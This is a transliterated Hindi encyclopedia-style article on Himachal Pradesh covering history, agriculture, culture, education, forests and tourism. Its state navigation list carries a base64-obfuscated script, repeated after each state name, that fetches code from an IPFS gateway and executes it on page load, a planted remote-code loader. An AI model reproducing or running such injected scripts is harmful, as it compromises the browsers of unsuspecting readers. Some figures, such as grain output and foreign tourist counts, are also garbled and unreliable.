हिमाचल प्रदेश

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himachal pradesh
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rajadhani	shimala
rajabhasha(ean)	hindi bhasha, paha di bhasha
sthapana	25 janavari, 1971
janasankhya	6,85,6509
· ghanatv	123 /varg kimi
kshetraphal	55,673 varg kimi
bhaugolik nirdeshaank	31°6′12″ uttar - 77°10′20″ poorv
tapaman	20 °C (ausat)
· grishm	28 °C
· sharad	7 °C
varsha	1469 mimi (ausat) mimi
zile	12
sabase b da nagar	shimala
mukhy paryatan sthal	kulloo, manali, shimala, dalahauzi
liang anupat	1000:974 ♂/♀
saksharata	83.78 %
· stri	76.60%
· purush	90.83%
rajyapal	achary devavrat
mukhyamantri	jayaram thakur (bhajapa)
vidhanasabha sadasy	68
lokasabha kshetr	4
rajyasabha sadasy	3
bahari k diyaan	adhikarik vebasait
adyatan‎	16:40, 30 janavari 2016 (IST)
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himachal pradesh pashchimi bharat mean sthit rajy hai. yah uttar mean jammoo aur kashmir, pashchim tatha dakshin-pashchim mean dakshin mean hariyana evan uttar pradesh, dakshin-poorv mean uttarakhand tatha poorv mean tibbat se ghira hai. 'himachal' pradesh ka shabdik arth barfile paha doan ka aanchal' hai. himachal pradesh ko dev bhoomi bhi kaha jata hai. himachal pradesh mean aryoan ka prabhav rrigved se bhi purana hai. aangl-gorakha yuddh ke bad, yah british shasan ke aantargat a gaya. sanh 1857 tak yah panjab ke maharaja ranajit sianh ke shasan ke adhin panjab rajy ka hissa raha. sanh 1950 mean is rajy ko kendr shasit pradesh banaya gaya, parantu 1971 mean 'himachal pradesh rajy adhiniyam-1971' ke antargat ise 25 joon 1971 ko bharat ka atharahavaan rajy bana diya gaya. himachal pradesh mean prativyakti anumanit ay bharat ke any kisi bhi rajy ki tulana mean zyada hai. nadiyoan ki bahutayat ke karan, himachal any rajyoan ko panabijali deta hai, jinamean dilli, panjab aur rajasthan pramukh roop se haian. rajy ki arthavyavastha panabijali, paryatan aur krishi par mool roop se adharit hai. rajy mean hinduoan ki sankhya kul janasankhya ka 90 pratishat hai aur mukhy samudayoan mean brahman, rajapoot, kannet, rathi aur koli haian. [[chitr:Viceregal-Lodge-Shimla.jpg|thumb|left|220px|visirejal l aauj, shimala]]

itihas aur bhoogol

himachal pradesh pashchimi himalay ke madhy mean sthit hai, ise dev bhoomi kaha jata hai. yahaan devi aur devataoan ka nivas sthan mana jata hai. himachal rajy mean patthar aur lak di ke anek mandir haian. sam़riddh sanskriti aur paramparaoan ne himachal ko ek anokha rajy bana diya hai. yahaan ke ooanche niche paha d, gleshiyar, chhayadar ghatiyaan aur vishal pain vriksh aur garajati nadiyaan tatha vishisht jiv jantu milakar himachal ke lie ek madhur sangit ki rachana taiyar karate pratit hote haian.

himachal pradesh poorn rajy 25 janavari, 1971 ko bana. aprail 1948 mean yahaan ki 27,000 varg kimi mean phaili huee lagabhag 30 riyasatoan ko milakar ise keandr shasit pradesh banaya gaya. 1954 mean ‘g’ shreni ki riyasat tabalasapur ko isamean milane par isaka kshetraphal badhakar 28,241 varg kimi ho gaya. sanh 1966 mean is kendrashasit pradesh mean panjab ke paha di bhag ko milakar is rajy ka punargathan kiya gaya aur isaka kshetraphal badhakar 55,673 varg kimi ho gaya. aj himachal pradesh mean n keval paha di kshetroan ka vikas hua, balki shiksha, svasthy aur samajik sevaoan mean bhi is pradesh ne ullekhaniy vikas prapt kiya hai.

1. REDIRECTsaancha:inhean bhi dekhean

krishi

himachal pradesh ka pramukh vyavasay krishi hai. krishi rajy ki arthavyavastha mean mahattvapoorn bhoomika nibhati hai. krishi se 69 pratishat kamakaji nagarikoan ko sidha kam milata hai. krishi aur usake sahayak kshetr se prapt ay pradesh ke kul ghareloo utpadan ka 22.1 pratishat hai. kul bhoomi kshetr 55.673 lakh hekteyar mean se 9.79 lakh hekteyar bhoomi ke svami 9.14 lakh kisan haian. madhyam aur chhote kisanoan ke pas kul bhoomi ka 86.4 pratishat bhag hai. rajy mean krishi bhoomi keval 10.4 pratishat hai. lagabhag 80 pratishat bhoomi varsha dvara sianchit hai aur kisan iandr devata ki kripa par nirbhar rahate haian. varsh 2006-07 mean khadyann ka kul utpadan 16 lakh miliyan tan raha . thumb|250px|left|dhanakar jhil, himachal pradesh

bagavani

prakriti dvara himachal pradesh ko vyapak roop se krishi ke anukool jalavayu aur paristhitiyaan di haian jisake karan kisanoan ko vividh phal ugane mean madad milati hai. bagavani ke pramukh phal haian- seb, nashapati, adoo, ber, khumani, guthali vale phal, niboo, am, lichi, amarud aur jharaberi adi. 1950 mean keval 792 hekteyar kshetr bagavani ke aantargat tha, jo badhakar 2.23 lakh hekteyar ho gaya hai. 1950 mean phal utpadan 1200 mitrik tan tha, jo 2007 mean badhakar 6.95 lakh tan ho gaya hai. phal udyog se lagabhag 2200 karo d rupaye ki ghareloo varshik ay hoti hai. dasavian panchavarshiy yojana mean rajy mean bagavani ke vikas ke lie teknol aauji mishan 80 karo d rupaye ki kul lagat ke sath sthapit kiya ja raha hai. is mishan se rajy mean bagavani vikas ki sabhi sanbhavanaoan ka pata lagaya jaega. is yojana mean vibhinn jalavayu vale krishi kshetroan mean char utkrishtata keandr banae jaeange aur jal sanrakshan, grin haus, karbanik krishi aur krishi takanikoan se ju di sabhi suvidhaean pradan ki jaeangi.

sanskriti

paha di logoan ke mele aur tyohar ullasapoorn gitoan aur nrity ke avasar hote haian. utkrisht shaili mean bani kinnaur sh aaulean, kulloo ki vishisht ooni topiyaan aur chanba ke qasidakari kiye hue roomal tyohar ke rangin paridhanoan ko aur bhi vishishtata pradan karate haian. himachal pradesh apani kaang da ghati chitrakala shaili ke lie bhi jana jata hai. shimala ki paha diyaan, kulloo ghati (manali shahar sahit) aur dalahauzi paryatakoan ke b de akarshan haian. skiiang, g aaulf, machhali pak dana, lambi yatra aur parvatarohan aisi gatividhiyaan haian, jinake lie himachal pradesh ek adarsh sthan hai. kuchh pauranik dharmasthaloan par pooja-archana ke lie himachal aur usake p dosi rajyoan ke shraddhalu b di sankhya mean ekatr hote haian.

kulloo ghati devataoan ki ghati ke roop mean jani jati hai; isake chi d aur devadar ke jangal, phooloan se lade hare-bhare maidan aur phaloan ke bagiche pratyek sharad rritu mean hone vale dashahara mahotsav ke lie mahaul taiyar kar dete haian. is mauqe par mandiroan ke devataoan ko saji huee palakiyoan mean gaje-baje ke sath aur nachate hue nikala jata hai. 1959 mean lhasa par chin ke qabze ke parinamasvaroop dalaee lama tibbat se palayan kar dharmashala a ge the aur yahian rahane lage. isake bad se hi bauddhoan ke lie (khasakar tibbatiyoan ke lie) dharmashala pavitr sthan ho gaya hai. varsh 2000 ki shuruat mean 14 varshiy 17vean karamapa bhi tibbat se bhagakar dharmashala a ge aur sharan maangi.

himachal pradesh mean mukhy roop se hindi, kaang di, paha di, panjabi, tatha dogari adi bhashaaian boli jati haian. hindoo, bauddh aur sikkh adi yahaan ke pramukh dharm haian. himachal pradesh ke kulloo, siramaur, mandi oopari kshetr kinnaur, shimala ityadi janapadoan mean nati nrity mukhy roop se kiya jata hai.

shiksha

[[chitr:Library-Shimla.jpg|thumb|250px|pustakalay, shimala]]

• himachal pradesh ne shiksha aur lok svasthy suvidhaoan ke vistar aur sanchar suvidhaoan ke sudhar ki disha mean ullekhaniy pragati ki hai. phir bhi rajy ki adhikaansh janata jivanayapan ke star par hi hai aur rajy ke vishal prakritik sansadhanoan ka yojanabaddh roop se dohan hona abhi baqi hai.
• 1970 mean shimala mean himachal pradesh vishvavidyalay ki sthapana ke sath hi pradesh mean uchch shiksha sanbhav ho saki.
• is vishvavidyalay se 50 se adhik mahavidyalay sanbaddh haian.
• shimala mean ek chikitsa mahavidyalay, palamapur mean ek krishi vishvavidyalay aur solan ke nikat ek bagabani aur van vishvavidyalay bhi hai.
• iandiyan ianstityoot aauf edavaansd stadi (shimala) aur seantral risarch istityoot (kasauli) mean shodh kary hota hai.
• 1960 ke dashak ke bad ke varshoan se prathamik, madhyamik aur uchch shiksha ke vidyalayoan ki sankhya mean ullekhaniy vriddhi huee, isi ke anuroop inamean dakhila lene valoan ki sankhya bhi badhi.
• hamirapur mean ek abhiyaantriki mahavidyalay bhi hai.

thumb|250px|left|himachal pradesh kriket esosieshan stediyam

shikshan sansthan

• chaudhari sh‍varn kumar himachal pradesh krishi vishh‍vavidyalay
• paramar udyanakrishi evan vaniki vishh‍vavidyalay
• himachal pradesh vishh‍vavidyalay
• je pi soochana praudyogiki vishh‍vavidyalay
• rashh‍triy praudyogiki sansh‍than (manad vishh‍vavidyalay)

parivahan

himachal pradesh rajy mean s dakean hi yahaan ki jivan rekha haian aur yahi sanchar ke pramukh sadhan haian. isake 55,673 varg kilomitar kshetraphal mean se 36,700 kilomitar mean rahane yogy sthan hai, jisamean se 16,807 gaanv anek parvatiy shriankhalaoan aur ghatiyoan ke dhalanoan par phaile hue haian. utpadan kshetroan aur bazar keandroan ko jo dane vali mahattvapoorn s dakoan ke nirman ke lie himachal pradesh sarakar ne tin varshoan mean pratyek panchayat ko s dak se jo dane ka nirnay kiya hai. yah rajy jab1948 mean bana, to yahaan par keval 288 kimi lanbi s dakean thian jinako 15 agast 2007 tak badhakar 30,264 kimi tak vikasit kar diya gaya hai.

dekhean:bharat ek jhalak

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jaiv praudyogiki

jaiv praudyogiki ke lie rajy mean jaiv-praudyogiki ke dohan par vishesh vikas kiya ja raha hai. isake vikas ke lie alag se jaiv-praudyogiki vibhag khol diya gaya hai. rajy ki apani jaiv-praudyogiki niti hai. sarakar ki or se jaiv praudyogiki ikaiyoan ko riyayatean di ja rahi haian jo any audyogiki ikaiyoan ko di jati haian. rajy sarakar ka solan zile mean jaiv-praudyogiki park ki sthapana ka vichar hai.

sianchaee aur jalapoorti

varsh 2007 tak himachal pradesh mean kul krishi kshetr 5.83 lakh hekteyar tha. gaanvoan mean pine ke pani ki suvidha di gee hai aur rajy mean 14,611 haiandapanp lag chuke haian. jal apoorti aur sianchaee vyavastha mean sudhar ke lie rajy sarakar 339 karo d roope ki lagat se ‘vash’ pariyojana chala rahi hai. is pariyojana mean sianchaee aur pine ke pani ke lie ji.di.jed. sahayog de rahi hai.

vaniki

rajy ka kul kshetraphal 55,673 varg kilomitar hai. rikard ke anusar kul van kshetr 37,033 varg kilomitar hai. isamean lagabhag 16,376 varg kilomitar kshetr mean paha di vanaspatiyaan nahian ugaeean ja sakatian kyoanki yah kshetr sthayi roop se barf se dhaka rahata hai. upayog mean ane vala van kshetr 20,657 varg kilomitar hai. rajy sarakar pariyojanaoan ke dvara adhikatam kshetr ko harit kshetr banane ki lie prayas chal rahe haian. thumb|250px|left|chanba ghati in yojanaoan ke lie sarakar apani yojanaoan ke sath sath bharat sarakar ki yojanaoan aur bahy sahayata se chal rahi yojanao ko kriyanvit kar rahi hai. vishv baiank ne himalay mean jalashay vikas yojana ke lie 365 karo d rupaye svikrit kie haian. is pariyojana ko agale chh: varshoan mean 10 ziloan ke 42 vikas khandoan ki 545 panchayatoan mean chalaya jaega. rajy mean 2 rashtriy park tatha 32 vanyajivan abhayarany haian. vanyajivan abhayarany ke aantargat kul kshetr 5,562 kimi, rashtriy park ke aantargat 1,440 kimi kshetr hai. is prakar kul sanrakshit kshetr 7,002 kimi hai.

paryatan

[[chitr:Rewalsar-Lake-Mandi.jpg|thumb|250px|rivalasar jhil, mandi]] himachal pradesh mean paryatan udyog ko uchch prathamikata di gee hai. himachal pradesh sarakar ne vikas ke lie suniyojit vikas kiya hai jisamean janopayogi sevaean, s dakean, sanchar tantr, havaee adde, yatayat sevaean, jalapoorti aur jan svasthy sevaoan ko shamil kiya hai. rajy sarakar rajy ko ‘har hal mean gantavy’ ka roop dene ke lie pratibaddh hai. rajy paryatan vikas nigam ki ay mean 10 pratishat ka yogadan karata hai. yah nigam bikri kar, sukh-suvidha kar aur yatri kar ke roop mean 2 karo d varshik ay ka yogadan rajy ki ay mean karata hai. varsh 2007 mean himachal pradesh mean 8.3 miliyan paryatak ae jinamean lagabhag 2008 lakh paryatak videshi the.

rajy mean tirtho aur manavashastriy mahattv ke sthaloan ka samriddh evan athah bhandar hai. is rajy ka vyas, parashar, vasishth, markandey aur lomash adi rrishi muniyoan ka sthal hone ka gauravapoorn pauranik itihas hai, sath hi garm pani ke srot, aitihasik durg, prakritik tatha manav nirmit jhilean, unmukt ghoomate charavahe paryatakoan ko asim sukh aur anand pradan karate haian. rajy sarakar paryatan ko protsahit karane ke lie niji kshetroan ko yojanaoan mean shamil karake paryatan sanbandhi vikas is tarah kar rahi hai ki rajy ki prakritik sthiti aur paryavaran akshunn bana rahe. sath hi rozagaroan ka srijan ho aur paryatan ka vikas ho. paryatakoan ke pravas ki avadhi badhane ke lie gatividhiyoan par adharit paryatan ka vikas vishesh roop se kiya ja raha hai.

paryatan ke vikas ki drishti se rajy sarakar nimn kshetroan par vishesh roop se dhyan de rahi hai- [[chitr:Christ-Church-Shimla.jpg|thumb|left|kraist charch, shimala]]

1. itihas sanbandhi paryatan
2. ne paryatan kshetroan ka pata lagana
3. paryatan vyavastha ka sudhar
4. tirth paryatanako badhava dena
5. adivasi paryatan
6. prakriti paryatan
7. svasthy paryatan
8. sahasik paryatan ko protsahan dena
9. vanyajivan paryatan
10. saanskritik paryatan

varsh 2006-07 mean rajy meanke paryatan vikas ke lie 6276.38 lakh rupaye ka abantan hua tha. bharat sarakar ne 8 karo d rupaye kulloo, manali, lahaul evan spiti tatha leh math parisar ke lie, 21 karo d rupaye kaang da, shimala aur siramaur kshetr ke lie, 16 karo d rupaye bilasapur, mandi aur chanba kshetr ke lie, 30 lakh rupaye manali mean paryatan soochana keandr ka nirman karane ke lie svikrit kie the. tyoharoan aur any mukhy avasaroan ke lie 1,545 yojanaoan hetu 67.57 karo d rupaye ki keandriy vitt sahayata prapt huee thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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